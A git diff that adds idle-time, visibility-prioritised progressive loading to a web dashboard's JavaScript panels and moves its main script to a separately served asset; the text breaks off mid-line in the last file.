new file mode 100644 index 0000000000..713471b8da --- /dev/null +++ b/src/pkg/dashboard/progressive_loading_test.go @@ -0,0 +1,16 @@ +package dashboard + +import ( + "os/exec" + "testing" +) + +func TestDashboardProgressiveLoading(t *testing.T) { + node, err := exec.LookPath("node") + if err != nil { + t.Skip("node not on PATH β€” progressive dashboard behavior not executed") + } + if out, err := exec.Command(node, "--test", "progressive_loading.test.js").CombinedOutput(); err != nil { + t.Fatalf("progressive dashboard behavior failed: %v\n%s", err, out) + } +} diff --git a/src/pkg/dashboard/review_queue_view_9607_test.go b/src/pkg/dashboard/review_queue_view_9607_test.go index afaf8b9760..3303ddea36 100644 --- a/src/pkg/dashboard/review_queue_view_9607_test.go +++ b/src/pkg/dashboard/review_queue_view_9607_test.go @@ -78,7 +78,7 @@ func TestReviewQueueViewStaticWiring(t *testing.T) { `reviewEvidenceButtonHtml(e.repo, e.number) +`, `function reviewEvidenceButtonHtml(repo, number)`, `data-action="openReviewEvidence"`, - `() => fetchReviewQueue().then(() => { dashboardSetInterval('review-queue', fetchReviewQueue, REVIEW_QUEUE_POLL_MS); }),`, + `['review-queue', () => fetchReviewQueue().then(() => { dashboardSetInterval('review-queue', fetchReviewQueue, REVIEW_QUEUE_POLL_MS); })],`, } { if !strings.Contains(html, want) { t.Errorf("index.html is missing review-queue wiring %q", want) diff --git a/src/pkg/dashboard/server.go b/src/pkg/dashboard/server.go index 1389c1e6e6..78b8f15f1f 100644 --- a/src/pkg/dashboard/server.go +++ b/src/pkg/dashboard/server.go @@ -1686,13 +1686,12 @@ func (s *Server) Start() error { if err != nil { return fmt.Errorf("loading embedded static files: %w", err) } - // The SPA document gets a dedicated handler with a strong ETag and one-time - // gzip cache (see pkg/dashboard/webstatic): http.FileServer would serve the - // ~1.3 MB inline document uncompressed with no cache validators (embed.FS - // has a zero ModTime, so not even Last-Modified), forcing a full re-download - // on every visit. "/{$}" matches the root path exactly; every other static - // path falls through to the revalidating file server below. + // The SPA shell and content-addressed main script get dedicated ETag/gzip + // handlers. The generated monolith remains embedded for source consumers; + // extraction happens after all startup injections. "/{$}" matches the root + // exactly; other static paths use the revalidating file server below. var idx *webstatic.IndexDocument + var mainScript *webstatic.DashboardScript if rawIndex, err := fs.ReadFile(staticContent, "index.html"); err == nil { // Strings are baked in ONCE here, unlike custom.css which is read per // request: the document carries a strong ETag and one immutable gzip @@ -1703,6 +1702,14 @@ func (s *Server) Start() error { // The kiosk call-to-action badge (#16236) is baked in the same way: // its QR code and copy are static per process. branded = kioskcta.Inject(branded, s.kioskCTAOptions()) + branded, mainScript = webstatic.ExternalizeDashboardScript(branded) + if mainScript != nil { + // Keep registration statically discoverable by route parity checks; + // the handler serves only its exact content-addressed path. + s.mux.Handle("GET /assets/{script}", mainScript) + } else { + s.logger.Warn("dashboard main script extraction unavailable; serving original inline dashboard") + } idx = webstatic.NewIndexDocument(branded) // Hand the FINAL served bytes to the CSP layer explicitly, rather than // having the document constructor reach out and set global state: @@ -1750,6 +1757,9 @@ func (s *Server) Start() error { // answer even when a saturated node is slow to build the static cache. go idx.Precompress() } + if mainScript != nil { + go mainScript.Precompress() + } // Viewer-independent cost sampling (#13483); the ring's throttle is the // same interval, so this is exactly one snapshot per period. costTicker := time.NewTicker(costHistoryMinIntervalMs * time.Millisecond) diff --git a/src/pkg/dashboard/static-src/js/agent-detail.js b/src/pkg/dashboard/static-src/js/agent-detail.js index b7afa31b7c..97c1423354 100644 --- a/src/pkg/dashboard/static-src/js/agent-detail.js +++ b/src/pkg/dashboard/static-src/js/agent-detail.js @@ -134,6 +134,7 @@ document.querySelectorAll('.oc-nav-item').forEach(i => i.classList.remove('active')); const active = document.querySelector(`.oc-nav-item[data-agent-nav="${(window.CSS && CSS.escape) ? CSS.escape(name) : String(name).replace(/["\\]/g, '\\$&')}"]`); if (active) active.classList.add('active'); + if (typeof dashboardProgressiveWake === 'function') dashboardProgressiveWake(); navPeekRestore('agents-section', { instant: true }); const expanded = navPeekExpand('agents-section'); if (!expanded && isSectionCollapsed('agents-section')) toggleSection('agents-section', { collapsed: false, persist: false, navPeek: true }); @@ -934,4 +935,3 @@ // Agent descriptions now come from the JSON status payload (agent.description field). // This empty map serves as a fallback for agents without a description in config. const AGENT_DESCRIPTIONS = {}; - diff --git a/src/pkg/dashboard/static-src/js/approvals.js b/src/pkg/dashboard/static-src/js/approvals.js index ddaed7d15f..349c5065aa 100644 --- a/src/pkg/dashboard/static-src/js/approvals.js +++ b/src/pkg/dashboard/static-src/js/approvals.js @@ -153,7 +153,13 @@ // Prime both panels and poll them on a modest independent interval. Do not // block initial paint: these run after the main poll is already wired. - function v4RefreshPanels() { fetchHiveAdvice(); fetchACMMReco(); fetchLifecycle(); fetchPRThroughput(); fetchApprovals(); } + function v4RefreshPanels() { + [['hive-advice', fetchHiveAdvice], ['acmm-reco', fetchACMMReco], + ['lifecycle', fetchLifecycle], ['pr-throughput', fetchPRThroughput], + ['approvals', fetchApprovals]].forEach(function([key, fn]) { + dashboardScheduleWork(key, fn).catch(console.error); + }); + } v4RefreshPanels(); dashboardSetInterval('v4-panels', v4RefreshPanels, V4_PANELS_POLL_MS); @@ -193,7 +199,7 @@ } } catch (_) { /* dashboard unreachable β€” different problem */ } } - checkGhAuth(); + dashboardScheduleWork('gh-auth-banner', checkGhAuth).catch(console.error); dashboardSetInterval('gh-auth-banner', checkGhAuth, GH_AUTH_POLL_MS); function renderGhRateLimits(ghRateLimits) { @@ -305,4 +311,3 @@ function setIfChanged(el, html) { if (el.innerHTML !== html) el.innerHTML = html; } - diff --git a/src/pkg/dashboard/static-src/js/backends-tokens.js b/src/pkg/dashboard/static-src/js/backends-tokens.js index 73d56eb3a9..79ae0a1252 100644 --- a/src/pkg/dashboard/static-src/js/backends-tokens.js +++ b/src/pkg/dashboard/static-src/js/backends-tokens.js @@ -392,11 +392,11 @@ return INFERENCE_MODELS[backend] || []; } } - function refreshBackendDiscovery(force) { - INFERENCE_BACKENDS.forEach(b => fetchInferenceModels(b, force)); + async function refreshBackendDiscovery(force) { + for (const backend of INFERENCE_BACKENDS) await fetchInferenceModels(backend, force); // Load configured gateway names so the backend/method pickers list them // (e.g. openrouter) alongside KNOWN_BACKENDS after the first paint. - fetchConfiguredGateways(); + await fetchConfiguredGateways(); } const CLI_MODEL_CACHE_TTL_MS = 30000; diff --git a/src/pkg/dashboard/static-src/js/boot.js b/src/pkg/dashboard/static-src/js/boot.js index f7e024e434..c73bd07343 100644 --- a/src/pkg/dashboard/static-src/js/boot.js +++ b/src/pkg/dashboard/static-src/js/boot.js @@ -1,4 +1,4 @@ -// Apply layout immediately and hide content until first data render. +// Apply layout immediately; keep the shell visible while live data loads. // NOTE: only body classes are set here β€” the .layout-toggle buttons do NOT // exist in the DOM yet at this point, so any label write here is a no-op. // applyLayout() (defined in the main script) is the single source of truth @@ -84,9 +84,6 @@ if(window.HIVE_KIOSK){ var kt=null; try { kt=new URL(window.location.href).searchParams.get('theme'); } catch(e) {} m=(kt==='light')?'light':'dark'; } if(!m)m='light'; if(m==='light'){document.body.classList.add('light-mode')} - document.body.style.opacity='0'; - document.body.style.transition='opacity 0.15s ease-in'; - setTimeout(function(){ document.body.style.opacity='1'; }, 3000); document.addEventListener('DOMContentLoaded', function(){ if (typeof applyLayout === 'function' && typeof getLayout === 'function') { applyLayout(getLayout()); @@ -171,4 +168,3 @@ document.addEventListener('DOMContentLoaded', renderStyleState); } })(); - diff --git a/src/pkg/dashboard/static-src/js/chat.js b/src/pkg/dashboard/static-src/js/chat.js index 7f9c37352b..04a20dd0b7 100644 --- a/src/pkg/dashboard/static-src/js/chat.js +++ b/src/pkg/dashboard/static-src/js/chat.js @@ -468,8 +468,8 @@ chatInput.value = localStorage.getItem(CHAT_DRAFT_KEY) || ''; renderChatCheatsheet(); renderChatSuggestions(); - detectChatCapabilities(); - refreshChatPresence(); + dashboardScheduleWork('chat-capabilities', detectChatCapabilities).catch(console.error); + dashboardScheduleWork('chat-presence', refreshChatPresence).catch(console.error); dashboardSetInterval('chat-presence', refreshChatPresence, 30000); chatFab.onclick = () => { @@ -595,4 +595,3 @@ handle.classList.remove('dragging'); }); })(); - diff --git a/src/pkg/dashboard/static-src/js/config-governor.js b/src/pkg/dashboard/static-src/js/config-governor.js index 7cca761953..819710967f 100644 --- a/src/pkg/dashboard/static-src/js/config-governor.js +++ b/src/pkg/dashboard/static-src/js/config-governor.js @@ -1590,7 +1590,7 @@ } return _statSources; } - ensureStatSources(); + dashboardScheduleWork('stat-sources', ensureStatSources).catch(console.error); /* statSourcesForDialog returns the source catalogue for the agent the config dialog is showing. The agent config response carries a catalogue @@ -1802,4 +1802,3 @@ <span style="opacity:0.8">β€” fixed progression; the last step is the cap.</span> </div>`; } - diff --git a/src/pkg/dashboard/static-src/js/cost.js b/src/pkg/dashboard/static-src/js/cost.js index 3c46fe37e5..c8e33733f3 100644 --- a/src/pkg/dashboard/static-src/js/cost.js +++ b/src/pkg/dashboard/static-src/js/cost.js @@ -707,6 +707,5 @@ renderCost(cost); } catch (e) { /* transient β€” leave last render in place */ } } - fetchCost(); + dashboardScheduleWork('cost', fetchCost).catch(console.error); dashboardSetInterval('cost', fetchCost, COST_POLL_MS); - diff --git a/src/pkg/dashboard/static-src/js/history-sparklines.js b/src/pkg/dashboard/static-src/js/history-sparklines.js index a57b031e7f..8cc169cb99 100644 --- a/src/pkg/dashboard/static-src/js/history-sparklines.js +++ b/src/pkg/dashboard/static-src/js/history-sparklines.js @@ -20,19 +20,28 @@ } function dashboardSetInterval(key, fn, ms) { dashboardClearInterval(key); - const entry = { fn, ms, timer: null }; + const entry = { key, fn, ms, timer: null }; DASHBOARD_INTERVALS[key] = entry; if (!document.hidden) dashboardStartInterval(entry); return entry; } function dashboardStartInterval(entry) { - entry.timer = setInterval(entry.fn, entry.ms); + entry.timer = setInterval(function() { + try { Promise.resolve(dashboardRunInterval(entry)).catch(console.error); } catch (err) { console.error(err); } + }, entry.ms); } function dashboardClearInterval(key) { if (!DASHBOARD_INTERVALS[key]) return; clearInterval(DASHBOARD_INTERVALS[key].timer); delete DASHBOARD_INTERVALS[key]; } + function dashboardRunInterval(entry) { + if (typeof dashboardScheduleWork === 'function' && + Object.prototype.hasOwnProperty.call(DASHBOARD_TASK_SECTIONS, entry.key)) { + return dashboardScheduleWork(entry.key, entry.fn); + } + return entry.fn(); + } document.addEventListener('visibilitychange', () => { for (const [key, entry] of Object.entries(DASHBOARD_INTERVALS)) { if (DASHBOARD_INTERVALS[key] !== entry) continue; @@ -43,7 +52,7 @@ // A refresh failure must not prevent the other panels from resuming. // Snapshot iteration also permits a callback to clear/replace itself. if (DASHBOARD_INTERVALS[key] === entry) { - try { Promise.resolve(entry.fn()).catch(console.error); } catch (err) { console.error(err); } + try { Promise.resolve(dashboardRunInterval(entry)).catch(console.error); } catch (err) { console.error(err); } } } }); @@ -493,4 +502,3 @@ capHistory(historyData); } } - diff --git a/src/pkg/dashboard/static-src/js/layout.js b/src/pkg/dashboard/static-src/js/layout.js index 199c9b6281..3819b9027b 100644 --- a/src/pkg/dashboard/static-src/js/layout.js +++ b/src/pkg/dashboard/static-src/js/layout.js @@ -324,7 +324,7 @@ } if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', start); - } else { start(); } + } else { queueMicrotask(start); } })(); const OC_TOPBAR_HEIGHT = 64; diff --git a/src/pkg/dashboard/static-src/js/progressive.js b/src/pkg/dashboard/static-src/js/progressive.js new file mode 100644 index 0000000000..e2e25eb330 --- /dev/null +++ b/src/pkg/dashboard/static-src/js/progressive.js @@ -0,0 +1,159 @@ + const DASHBOARD_BACKGROUND_CONCURRENCY = 2; + const DASHBOARD_IDLE_TIMEOUT_MS = 1000; + const DASHBOARD_YIELD_MS = 32; + const DASHBOARD_BACKGROUND_DELAY_MS = 350; + const DASHBOARD_TASK_SECTIONS = Object.freeze({ + 'backend-discovery': ['debug-section'], + 'stat-sources': ['agents-section'], + 'cost': ['cost-panel'], + 'hive-advice': ['advisory-section'], + 'acmm-reco': ['advisory-section'], + 'lifecycle': ['advisory-section'], + 'pr-throughput': ['pr-throughput-section'], + 'approvals': ['approvals-section'], + 'fact-history': ['knowledge-section'], + 'overview-kpi-history': ['overview-section'], + 'history': ['overview-section', 'repos-section'], + 'budget-ignore': ['repos-section'], + 'budget-history': ['governor'], + 'nous-status': ['nous-section'], + 'public-knowledge': ['knowledge-section'], + 'knowledge-stats': ['knowledge-section'], + 'audit-log': ['audit-section'], + 'review-queue': ['review-queue-section'], + 'review-pipeline': ['review-queue-section'], + 'stage-tracker': ['activity-monitor-section'], + 'contributors': ['contributors-section'], + 'leaderboard': ['contributors-section'], + 'git-version': ['debug-section'], + 'acmm-evaluation': ['acmm-eval-section'], + 'version-check': ['debug-section'], + 'version-reload-check': ['debug-section'], + 'weekly-trends': ['overview-section'], + 'timeline': ['governor'], + 'agent-logs': ['logs-section'], + 'debug-section': ['debug-section'], + 'chat-capabilities': [], + 'chat-presence': [], + 'welcome-gh-auth': [], + 'welcome-claude-auth': [], + 'gh-auth-banner': [], + }); + const _dashboardBackgroundJobs = new Map(); + const _dashboardRenderJobs = new Map(); + let _dashboardBackgroundRunning = 0; + let _dashboardBackgroundScheduled = false; + let _dashboardRenderScheduled = false; + let _dashboardBackgroundReady = false; + + function dashboardWorkPriority(sections) { + let priority = 2; + for (const id of sections || []) { + if (window.location.hash === '#section-' + id) return 0; + const el = document.getElementById(id); + if (!el || !el.getClientRects().length) continue; + const rect = el.getBoundingClientRect(); + if (rect.bottom >= 0 && rect.top <= window.innerHeight) priority = 1; + } + return priority; + } + function dashboardNextWork(jobs) { + let next; + let priority = Infinity; + for (const job of jobs.values()) { + if (job.running) continue; + const rank = dashboardWorkPriority(job.sections); + if (rank < priority) { next = job; priority = rank; } + } + return next; + } + function dashboardIdle(callback) { + if (typeof window.requestIdleCallback === 'function') { + window.requestIdleCallback(callback, { timeout: DASHBOARD_IDLE_TIMEOUT_MS }); + } else { + setTimeout(callback, DASHBOARD_YIELD_MS); + } + } + function dashboardWakeBackground() { + if (!_dashboardBackgroundReady || document.hidden || _dashboardBackgroundScheduled || + _dashboardBackgroundRunning >= DASHBOARD_BACKGROUND_CONCURRENCY || + !dashboardNextWork(_dashboardBackgroundJobs)) return; + _dashboardBackgroundScheduled = true; + dashboardIdle(function() { + _dashboardBackgroundScheduled = false; + if (document.hidden) return; + const job = dashboardNextWork(_dashboardBackgroundJobs); + if (!job) return; + job.running = true; + _dashboardBackgroundRunning++; + function finished() { + _dashboardBackgroundJobs.delete(job.key); + _dashboardBackgroundRunning--; + dashboardWakeBackground(); + } + Promise.resolve().then(job.fn).then(function(value) { + finished(); job.resolve(value); + }, function(err) { + finished(); job.reject(err); + }); + dashboardWakeBackground(); + }); + } + // Keep a slot through JSON decoding and rendering, not just response headers. + // Repeated timer ticks share the same flight rather than adding stale work. + function dashboardScheduleWork(key, fn) { + const existing = _dashboardBackgroundJobs.get(key); + if (existing) return existing.promise; + let resolve, reject; + const promise = new Promise(function(ok, fail) { resolve = ok; reject = fail; }); + _dashboardBackgroundJobs.set(key, { + key, fn, promise, resolve, reject, running: false, + sections: DASHBOARD_TASK_SECTIONS[key] || [], + }); + dashboardWakeBackground(); + return promise; + } + function dashboardWakeRender() { + if (document.hidden || _dashboardRenderScheduled || !_dashboardRenderJobs.size) return; + _dashboardRenderScheduled = true; + dashboardIdle(function() { + _dashboardRenderScheduled = false; + if (document.hidden) return; + const job = dashboardNextWork(_dashboardRenderJobs); + if (!job) return; + _dashboardRenderJobs.delete(job.key); + if (job.snapshot && !dashboardStatusCanRender(job.snapshot)) { + dashboardWakeRender(); + return; + } + const anchor = typeof captureScrollAnchor === 'function' ? captureScrollAnchor() : null; + try { + job.fn(); + job.sections.forEach(function(id) { + if (typeof applySectionCollapse === 'function') applySectionCollapse(id); + }); + if (typeof refreshDashboardSectionSummaries === 'function') refreshDashboardSectionSummaries(); + } catch (err) { + console.error('dashboard render ' + job.key + ' failed', err); + } finally { + if (anchor && typeof restoreScrollAnchor === 'function' && + (typeof _hashScrollPending === 'undefined' || !_hashScrollPending)) restoreScrollAnchor(anchor); + dashboardWakeRender(); + } + }); + } + // Latest snapshot wins. Paint one section per idle turn so input and + // navigation can run between large cards, even when SSE arrives in a burst. + function dashboardRenderSection(key, sections, fn, snapshot) { + _dashboardRenderJobs.set(key, { key, sections, fn, snapshot }); + dashboardWakeRender(); + } + function dashboardProgressiveWake() { + dashboardWakeBackground(); + dashboardWakeRender(); + } + document.addEventListener('visibilitychange', dashboardProgressiveWake); + setTimeout(function() { + _dashboardBackgroundReady = true; + dashboardWakeBackground(); + }, DASHBOARD_BACKGROUND_DELAY_MS); diff --git a/src/pkg/dashboard/static-src/js/refresh.js b/src/pkg/dashboard/static-src/js/refresh.js index 11193a0598..e9b865ac63 100644 --- a/src/pkg/dashboard/static-src/js/refresh.js +++ b/src/pkg/dashboard/static-src/js/refresh.js @@ -140,27 +140,22 @@ const n = Number(minSeq); if (Number.isFinite(n) && n > _statusSeqFloor) _statusSeqFloor = n; } + // A snapshot accepted before a mutation can become stale while queued. + function dashboardStatusCanRender(data) { + return data.statusSeq == null || + (data.statusSeq >= _statusSeqFloor && data.statusSeq >= _lastStatusSeq && + (!data.statusInstance || !_statusInstance || data.statusInstance === _statusInstance)); + } var SCROLL_SETTLE_DELAY_MS = 500; var _deferredLoadPromise = null; function _afterPaint(callback) { _hashScrollPending = true; - if (_deferredLoadPromise) { - _deferredLoadPromise.then(function() { - requestAnimationFrame(function() { - requestAnimationFrame(function() { - callback(); - setTimeout(function() { _hashScrollPending = false; }, 200); - }); - }); - }); - } else { + requestAnimationFrame(function() { requestAnimationFrame(function() { - requestAnimationFrame(function() { - setTimeout(callback, SCROLL_SETTLE_DELAY_MS); - setTimeout(function() { _hashScrollPending = false; }, 500); - }); + setTimeout(callback, SCROLL_SETTLE_DELAY_MS); + setTimeout(function() { _hashScrollPending = false; }, SCROLL_SETTLE_DELAY_MS); }); - } + }); } const NAVBAR_CLOCK_TICK_MS = 1000; @@ -503,7 +498,9 @@ window._lastStatus = data; // The tracker's hop cue reads which agent is on which item from this // payload; redraw the rows when that set changes (no extra fetch). - if (typeof stageTrackerWorkers === 'function' && JSON.stringify(stageTrackerWorkers(data)) !== prevWorkers && typeof renderStageTracker === 'function') renderStageTracker(); + if (typeof stageTrackerWorkers === 'function' && JSON.stringify(stageTrackerWorkers(data)) !== prevWorkers && typeof renderStageTracker === 'function') { + dashboardRenderSection('tracker-workers', ['activity-monitor-section'], () => renderStageTracker()); + } applyDashboardFeatureVisibility(); if (typeof refreshThroughputSLA === 'function') refreshThroughputSLA(); if (window._acmmOverride) { @@ -542,25 +539,29 @@ renderSystemAlerts(data.systemAlerts || []); if (!_dropdownOpen && !_configModalOpen) { applyPinOverrides(data.agents || []); - renderAgents(data.agents || []); - renderGovernor(data.governor || {}, data.cadenceMatrix || [], data); + dashboardRenderSection('agents', ['agents-section', 'agent-activity-section'], () => { + if (!_dropdownOpen && !_configModalOpen) renderAgents(data.agents || []); + }, data); + dashboardRenderSection('governor', ['governor'], () => { + if (!_dropdownOpen && !_configModalOpen) renderGovernor(data.governor || {}, data.cadenceMatrix || [], data); + }, data); // Keep the focused agent detail in sync with fresh payloads β€” its // fast path only rebuilds when the config fingerprint changes. if (_ocSelectedAgent) ocRenderAgentDetail(); } - renderTokens(data.tokens || {}); - renderAdvisoryDigest(data.advisoryDigest || null); - renderRepos(data.repos || []); - renderSwarm(data.swarm || {}); + dashboardRenderSection('tokens', ['token-panel'], () => renderTokens(data.tokens || {}), data); + dashboardRenderSection('advisory', ['advisory-section'], () => renderAdvisoryDigest(data.advisoryDigest || null), data); + dashboardRenderSection('repos', ['repos-section', 'overview-section'], () => renderRepos(data.repos || []), data); + dashboardRenderSection('swarm', ['repos-section'], () => renderSwarm(data.swarm || {}), data); var reposBadge = document.getElementById('repos-sidebar-badge'); if (reposBadge) setSidebarCountBadge(reposBadge, (data.repos || []).length, (data.repos || []).length + ' repositories'); renderPlatform(data.platform || null); - renderHiveAdvice(data.hiveAdvice || null); - renderFleetReport(data.fleetReport || null); - renderSystemGauges(data.systemResources || null); + dashboardRenderSection('hive-advice', ['advisory-section'], () => renderHiveAdvice(data.hiveAdvice || null), data); + dashboardRenderSection('fleet-report', ['advisory-section'], () => renderFleetReport(data.fleetReport || null), data); + dashboardRenderSection('system-gauges', ['debug-section'], () => renderSystemGauges(data.systemResources || null), data); ocUpdateSidebarAgents(); - renderDebugSection(); - renderFAQ(); + dashboardRenderSection('debug', ['debug-section'], () => renderDebugSection(), data); + dashboardRenderSection('faq', ['faq-section'], () => renderFAQ(), data); initializeDashboardSectionCards(); // Restore persisted collapsed state for all collapsible sections const COLLAPSIBLE_SECTION_IDS = [ diff --git a/src/pkg/dashboard/static-src/js/shimmy-handlers.js b/src/pkg/dashboard/static-src/js/shimmy-handlers.js index 638292ec07..718a1bf568 100644 --- a/src/pkg/dashboard/static-src/js/shimmy-handlers.js +++ b/src/pkg/dashboard/static-src/js/shimmy-handlers.js @@ -29,7 +29,7 @@ } triggerAttentionShimmy(); - checkClaudeAuth(); + dashboardScheduleWork('welcome-claude-auth', checkClaudeAuth).catch(console.error); var CLAUDE_AUTH_CHECK_INTERVAL_MS = 60000; dashboardSetInterval('welcome-claude-auth', checkClaudeAuth, CLAUDE_AUTH_CHECK_INTERVAL_MS); @@ -87,59 +87,38 @@ sendPresencePing(); })(); - // Deferred initialization β€” non-critical fetches staggered after first paint. - // Each entry returns a promise so anchor scrolling can wait for layout to settle. - const DEFERRED_INIT_DELAY_MS = 1500; - const DEFERRED_STAGGER_MS = 200; + // Visible sections win; slow background panels cannot delay navigation. + const DEFERRED_INIT_DELAY_MS = DASHBOARD_BACKGROUND_DELAY_MS; _deferredLoadPromise = new Promise(function(resolveAll) { setTimeout(() => { const deferred = [ - () => Promise.resolve(refreshBackendDiscovery()).then(() => fetchBackendsConfig()), - () => fetchFactHistory(), - () => fetchOverviewKPIHistory().then(() => { dashboardSetInterval('overview-kpi-history', fetchOverviewKPIHistory, HISTORY_REFRESH_MS); }), - () => fetchTrendHistory().then(() => fetchHistory()).then(() => { dashboardSetInterval('history', fetchHistory, HISTORY_REFRESH_MS); }), - () => fetch('/api/budget-ignore').then(r => r.json()).then(d => { budgetIgnored = d.ignored; }).catch(() => {}), - () => fetchBudgetHistory().then(() => { dashboardSetInterval('budget-history', fetchBudgetHistory, HISTORY_REFRESH_MS); }), - () => ensureNousPolling(), - () => fetchPublicKnowledgeSetting(), - () => fetchKnowledgeStats().then(() => { dashboardSetInterval('knowledge-stats', fetchKnowledgeStats, KB_POLL_MS); }), - () => fetchAuditLog().then(() => { dashboardSetInterval('audit-log', fetchAuditLog, AUDIT_POLL_MS); }), - () => fetchReviewQueue().then(() => { dashboardSetInterval('review-queue', fetchReviewQueue, REVIEW_QUEUE_POLL_MS); }), - () => fetchReviewPipeline().then(() => { dashboardSetInterval('review-pipeline', fetchReviewPipeline, REVIEW_PIPELINE_POLL_MS); }), - () => fetchStageTracker().then(() => { dashboardSetInterval('stage-tracker', fetchStageTracker, STAGE_TRACKER_POLL_MS); }), - () => fetchContributors().then(() => { dashboardSetInterval('contributors', fetchContributors, CONTRIBUTOR_POLL_MS); }), - () => fetchLeaderboard().then(() => { dashboardSetInterval('leaderboard', fetchLeaderboard, LEADERBOARD_POLL_MS); }), - () => fetchGitVersion().then(() => { dashboardSetInterval('git-version', fetchGitVersion, GIT_VERSION_POLL_MS); }), - () => fetchACMMEvaluation().then(() => { dashboardSetInterval('acmm-evaluation', fetchACMMEvaluation, ACMM_EVAL_INTERVAL_MS); }), - () => Promise.resolve(startVersionCheck()), - () => fetch('/api/trends?range=week').then(r => r.json()).then(applyTrends).catch(() => {}).then(() => { dashboardSetInterval('weekly-trends', () => { fetch('/api/trends?range=week').then(r => r.json()).then(applyTrends).catch(() => {}); }, TREND_REFRESH_MS); }), - () => fetchTimeline().then(() => { dashboardSetInterval('timeline', fetchTimeline, TIMELINE_REFRESH_MS); }), - () => fetchAgentLogs().then(() => { dashboardSetInterval('agent-logs', fetchAgentLogs, LOGS_REFRESH_MS); }), + ['backend-discovery', () => Promise.resolve(refreshBackendDiscovery()).then(() => fetchBackendsConfig())], + ['fact-history', () => fetchFactHistory()], + ['overview-kpi-history', () => fetchOverviewKPIHistory().then(() => { dashboardSetInterval('overview-kpi-history', fetchOverviewKPIHistory, HISTORY_REFRESH_MS); })], + ['history', () => fetchTrendHistory().then(() => fetchHistory()).then(() => { dashboardSetInterval('history', fetchHistory, HISTORY_REFRESH_MS); })], + ['budget-ignore', () => fetch('/api/budget-ignore').then(r => r.json()).then(d => { budgetIgnored = d.ignored; }).catch(console.error)], + ['budget-history', () => fetchBudgetHistory().then(() => { dashboardSetInterval('budget-history', fetchBudgetHistory, HISTORY_REFRESH_MS); })], + ['nous-status', () => ensureNousPolling()], + ['public-knowledge', () => fetchPublicKnowledgeSetting()], + ['knowledge-stats', () => fetchKnowledgeStats().then(() => { dashboardSetInterval('knowledge-stats', fetchKnowledgeStats, KB_POLL_MS); })], + ['audit-log', () => fetchAuditLog().then(() => { dashboardSetInterval('audit-log', fetchAuditLog, AUDIT_POLL_MS); })], + ['review-queue', () => fetchReviewQueue().then(() => { dashboardSetInterval('review-queue', fetchReviewQueue, REVIEW_QUEUE_POLL_MS); })], + ['review-pipeline', () => fetchReviewPipeline().then(() => { dashboardSetInterval('review-pipeline', fetchReviewPipeline, REVIEW_PIPELINE_POLL_MS); })], + ['stage-tracker', () => fetchStageTracker().then(() => { dashboardSetInterval('stage-tracker', fetchStageTracker, STAGE_TRACKER_POLL_MS); })], + ['contributors', () => fetchContributors().then(() => { dashboardSetInterval('contributors', fetchContributors, CONTRIBUTOR_POLL_MS); })], + ['leaderboard', () => fetchLeaderboard().then(() => { dashboardSetInterval('leaderboard', fetchLeaderboard, LEADERBOARD_POLL_MS); })], + ['git-version', () => fetchGitVersion().then(() => { dashboardSetInterval('git-version', fetchGitVersion, GIT_VERSION_POLL_MS); })], + ['acmm-evaluation', () => fetchACMMEvaluation().then(() => { dashboardSetInterval('acmm-evaluation', fetchACMMEvaluation, ACMM_EVAL_INTERVAL_MS); })], + ['version-check', () => Promise.resolve(startVersionCheck())], + ['weekly-trends', () => fetch('/api/trends?range=week').then(r => r.json()).then(applyTrends).catch(console.error).then(() => { dashboardSetInterval('weekly-trends', () => { return fetch('/api/trends?range=week').then(r => r.json()).then(applyTrends).catch(console.error); }, TREND_REFRESH_MS); })], + ['timeline', () => fetchTimeline().then(() => { dashboardSetInterval('timeline', fetchTimeline, TIMELINE_REFRESH_MS); })], + ['agent-logs', () => fetchAgentLogs().then(() => { dashboardSetInterval('agent-logs', fetchAgentLogs, LOGS_REFRESH_MS); })], ]; - // `Promise.resolve().then(fn)` rather than `fn()`, so ONE bad entry - // cannot strand the whole chain (#6581). `fn()` was called bare inside - // the setTimeout callback, so an entry that threw synchronously β€” or - // returned undefined and had `.then` called on it, which is what - // fetchTimeline did β€” threw out of the callback with nothing to catch - // it. That entry's promise then never settled, so Promise.all never - // settled, so resolveAll never ran and _deferredLoadPromise stayed - // pending for the life of the page. _afterPaint awaits it, so first- - // load view restoration (making #oc-agent-detail active, navigating to - // a saved section) silently never happened. - // - // Wrapping turns a synchronous throw into a rejection, which - // `.then(resolve, resolve)` already handles: the entry is recorded as - // finished-badly instead of never finishing, and the other twelve - // entries still complete. The throw is still reported below rather - // than swallowed β€” the point is that one broken entry degrades to one - // broken feature, not to a dashboard that never finishes initialising. - const allDone = deferred.map((fn, i) => - new Promise(resolve => setTimeout(() => { - Promise.resolve().then(fn).then(resolve, err => { - console.error('deferred init entry ' + i + ' failed', err); - resolve(); - }); - }, i * DEFERRED_STAGGER_MS)) + // A synchronous throw must not strand the other panels (#6581). + const allDone = deferred.map(([key, fn]) => + dashboardScheduleWork(key, () => Promise.resolve().then(fn)).catch(err => { + console.error('deferred init ' + key + ' failed', err); + }) ); Promise.all(allDone).then(resolveAll); }, DEFERRED_INIT_DELAY_MS); @@ -341,4 +320,3 @@ gh84: function (event, A) { markSentinelDirty('exemptLogins', parseSecurityList(this.value)); }, gh85: function (event, A) { markSentinelDirty('repos', parseSecurityList(this.value)); }, }; - diff --git a/src/pkg/dashboard/static-src/js/sse-bootstrap.js b/src/pkg/dashboard/static-src/js/sse-bootstrap.js index 7c013f8bc7..16a90550c5 100644 --- a/src/pkg/dashboard/static-src/js/sse-bootstrap.js +++ b/src/pkg/dashboard/static-src/js/sse-bootstrap.js @@ -113,10 +113,14 @@ const lastData = window._lastStatus || {}; if (lastData.agents) { applyPinOverrides(lastData.agents); - renderAgents(lastData.agents); + dashboardRenderSection('agents', ['agents-section', 'agent-activity-section'], () => { + if (!_dropdownOpen && !_configModalOpen) renderAgents(lastData.agents); + }); // Keep the cost table's "running agents" column live as agents // switch models or pause/resume between cost polls. - if (_lastCost) renderCost(_lastCost); + if (_lastCost) dashboardRenderSection('cost', ['cost-panel'], () => { + if (_lastCost) renderCost(_lastCost); + }); } ocUpdateFocusedState(); const _lvl = (lastData.acmmLevel != null) ? lastData.acmmLevel : 0; diff --git a/src/pkg/dashboard/static-src/js/welcome.js b/src/pkg/dashboard/static-src/js/welcome.js index 6b80577785..e0ded66cc8 100644 --- a/src/pkg/dashboard/static-src/js/welcome.js +++ b/src/pkg/dashboard/static-src/js/welcome.js @@ -536,8 +536,7 @@ updateWelcomeProgress(); } - checkGHAuth(); + dashboardScheduleWork('welcome-gh-auth', checkGHAuth).catch(console.error); dashboardSetInterval('welcome-gh-auth', checkGHAuth, 